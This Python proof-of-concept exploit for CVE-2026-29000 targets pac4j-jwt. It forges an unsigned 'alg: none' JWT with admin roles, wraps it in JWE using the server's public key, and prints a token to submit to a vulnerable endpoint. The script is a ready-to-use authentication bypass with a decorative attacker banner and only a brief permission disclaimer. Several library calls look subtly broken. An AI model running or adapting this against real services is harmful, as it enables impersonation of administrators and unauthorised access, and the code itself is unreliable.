#!/usr/bin/env python3
# Exploit Title: pac4j-jwt < 4.5.9, < 5.7.9, < 6.3.3 JwtAuthenticator Authentication Bypass via JWE-wrapped PlainJWT
# CVE: CVE-2026-29000
# Date: 2026-03-05
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://www.pac4j.org
# Software Link: https://github.com/pac4j/pac4j
# Affected: pac4j-jwt < 4.5.9, < 5.7.9, < 6.3.3
# Tested on: Python 3.12 with pyjwt + cryptography
# Category: Remote Authentication Bypass
# Platform: Java (pac4j-jwt library)
# Exploit Type: Proof of Concept
# CVSS: 10.0 (Critical)
# CWE : CWE-347 (Improper Verification of Cryptographic Signature)
# Description: Allows remote attackers with only the server's RSA public key to forge authentication tokens by wrapping an unsigned PlainJWT in JWE (RSA-OAEP-256 + A256GCM), bypassing signature verification and impersonating any user (including admins).
# Fixed in: pac4j-jwt 4.5.9, 5.7.9, 6.3.3+
# Usage:
# python3 exploit.py
#
# Examples:
# python3 exploit.py
#
# Options:
# (No command-line args needed in this standalone PoC version)
#
# Notes:
# - Requires: pip install pyjwt cryptography
# - This generates a malicious token locally; in a real attack you'd fetch the public key from the target's JWKS endpoint.
# - For demo only — use responsibly and only on systems you own or have explicit permission to test.
#
# How to Use
#
# Step 1: Run the script to generate a malicious JWE token
# Step 2: Submit the token in an Authorization: Bearer <token> header to a vulnerable pac4j-jwt protected endpoint
print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ▄▄▄▄· ▄▄ . ▄▄ • ▄▄▄▄▄ ▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║
║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║
║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║
║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║
║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║
║ ║
║ b a n y a m e r _ s e c u r i t y ║
║ ║
║ >>> Silent Hunter • Shadow Presence <<< ║
║ ║
║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
║ CVE-2026-29000 • pac4j-jwt → Auth Bypass via Public Key ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")
import json
from datetime import datetime, timedelta, timezone
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.asymmetric.padding import OAEP
from cryptography.hazmat.primitives.hashes import SHA256
from cryptography.hazmat.backends import default_backend
import jwt
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_key = private_key.public_key()
public_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
).decode('utf-8')
print("[+] Public key (PEM) that attacker would use:\n")
print(public_pem)
malicious_claims = {
"sub": "admin#override",
"email": "attacker@evil.com",
"$int_roles": ["ROLE_ADMIN", "ROLE_SUPERUSER"],
"iat": int(datetime.now(timezone.utc).timestamp()),
"exp": int((datetime.now(timezone.utc) + timedelta(hours=1)).timestamp())
}
print("\n[+] Malicious claims:")
print(json.dumps(malicious_claims, indent=2))
header = {
"alg": "none",
"typ": "JWT"
}
payload = jwt.utils.base64url_encode(json.dumps(malicious_claims).encode()).decode()
unsigned_jwt = (
jwt.utils.base64url_encode(json.dumps(header).encode()).decode()
+ "."
+ payload
+ "."
)
print("\n[+] Unsigned PlainJWT (inner token):\n" + unsigned_jwt)
jwe_header = {
"alg": "RSA-OAEP-256",
"enc": "A256GCM",
"typ": "JWE",
"cty": "JWT"
}
protected = jwt.utils.base64url_encode(json.dumps(jwe_header).encode()).decode()
cek = jwt.utils.generate_key(32)
encrypted_key = public_key.encrypt(
cek,
OAEP(
mgf=OAEP.MGF1(algorithm=SHA256()),
algorithm=SHA256(),
label=None
)
)
encrypted_key_b64 = jwt.utils.base64url_encode(encrypted_key).decode()
iv = jwt.utils.generate_key(12)
ciphertext, tag = jwt.algorithms.AESGCM(cek).encrypt(
nonce=iv,
data=unsigned_jwt.encode(),
associated_data=protected.encode()
)
iv_b64 = jwt.utils.base64url_encode(iv).decode()
ciphertext_b64 = jwt.utils.base64url_encode(ciphertext).decode()
tag_b64 = jwt.utils.base64url_encode(tag).decode()
jwe_token = (
protected + "."
+ encrypted_key_b64 + "."
+ iv_b64 + "."
+ ciphertext_b64 + "."
+ tag_b64
)
print("\n[+] Malicious JWE token (submit this to vulnerable pac4j-jwt):\n")
print(jwe_token)
print("\n(length: {} chars)".format(len(jwe_token)))